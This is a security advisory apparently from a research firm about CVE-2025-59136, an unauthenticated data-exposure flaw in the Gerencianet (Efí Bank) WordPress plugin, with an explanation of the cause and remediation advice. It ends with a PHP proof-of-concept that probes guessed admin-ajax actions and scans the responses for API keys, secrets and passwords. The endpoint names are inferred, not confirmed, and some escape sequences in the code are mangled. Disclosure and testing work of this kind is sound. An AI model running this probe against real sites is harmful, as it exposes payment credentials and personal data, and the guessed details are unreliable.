Atomic Edge analysis of CVE-2025-59136 (metadata-based):
The Gerencianet Oficial (Efí Bank) WordPress plugin, version 3.1.3 and earlier, contains an unauthenticated information exposure vulnerability. This flaw allows any remote attacker to retrieve sensitive data from the plugin’s configuration or user records without authentication.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress AJAX or REST API endpoint. The CWE-200 classification indicates the plugin likely exposes a callback function that returns sensitive data. This function does not verify the user’s authentication state or permissions before executing. The vulnerability is inferred from the CWE classification and the description’s confirmation of unauthenticated access to sensitive data. The exact endpoint is not confirmed without source code.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Attackers target the WordPress AJAX handler at /wp-admin/admin-ajax.php with an action parameter corresponding to a plugin function. Alternatively, they may target a specific REST API route. A typical payload is a simple GET or POST request with the action parameter set to a value like ‘woo_gerencianet_official_get_data’ or similar. No authentication cookies or nonces are required.
Remediation requires implementing proper authentication and authorization checks on all data-fetching endpoints. The plugin must verify the current user’s capabilities using WordPress functions like current_user_can() before returning any sensitive information. For AJAX handlers, the code should register separate hooks for authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users, with the nopriv hook either removed or secured with nonce verification.
The impact is the exposure of sensitive user or configuration data. This could include payment gateway credentials, API keys, transaction logs, or personally identifiable information (PII) from user profiles stored by the plugin. While the CVSS score indicates a medium severity with low confidentiality impact, the exact data exposed determines the real-world risk, which could range from operational details to financial data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-59136 - Gerencianet Oficial <= 3.1.3 - Unauthenticated Information Exposure
<?php
/**
* Proof of Concept for CVE-2025-59136.
* This script attempts to exploit an unauthenticated information disclosure endpoint.
* The exact AJAX action name is inferred from common plugin naming patterns.
* Assumptions:
* 1. The vulnerable endpoint is the WordPress admin-ajax.php handler.
* 2. The plugin registers a nopriv AJAX action that leaks data.
* 3. The action parameter name follows the plugin slug or a related prefix.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common inferred action names based on plugin slug 'woo-gerencianet-official'
$candidate_actions = [
'woo_gerencianet_official_get_config',
'gerencianet_get_data',
'efi_get_settings',
'woo_gerencianet_official_action',
'gerencianet_official_info'
];
echo "[+] Atomic Edge PoC - Testing for CVE-2025-59136n";
echo "[+] Target: $target_urlnn";
foreach ($candidate_actions as $action) {
echo "[*] Testing AJAX action: $actionn";
$ch = curl_init();
$post_data = http_build_query(['action' => $action]);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// WordPress may require a valid referer in some configurations
curl_setopt($ch, CURLOPT_REFERER, $target_url);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
// Check if response contains potentially sensitive data patterns
if (preg_match('/(api_key|secret|token|password|user_email|client_id|configuration)/i', $response)) {
echo "[!] POTENTIAL VULNERABILITY DETECTED!n";
echo "[!] Action: $action returned data.n";
echo "[!] Response preview: " . substr($response, 0, 500) . "nn";
} else {
echo "[+] Action $action returned HTTP 200 but no obvious sensitive data in preview.n";
echo "[+] Full response length: " . strlen($response) . " bytesnn";
}
} else {
echo "[-] Action $action returned HTTP $http_code (no data or error)nn";
}
}
echo "[+] PoC scan complete.n";
?>
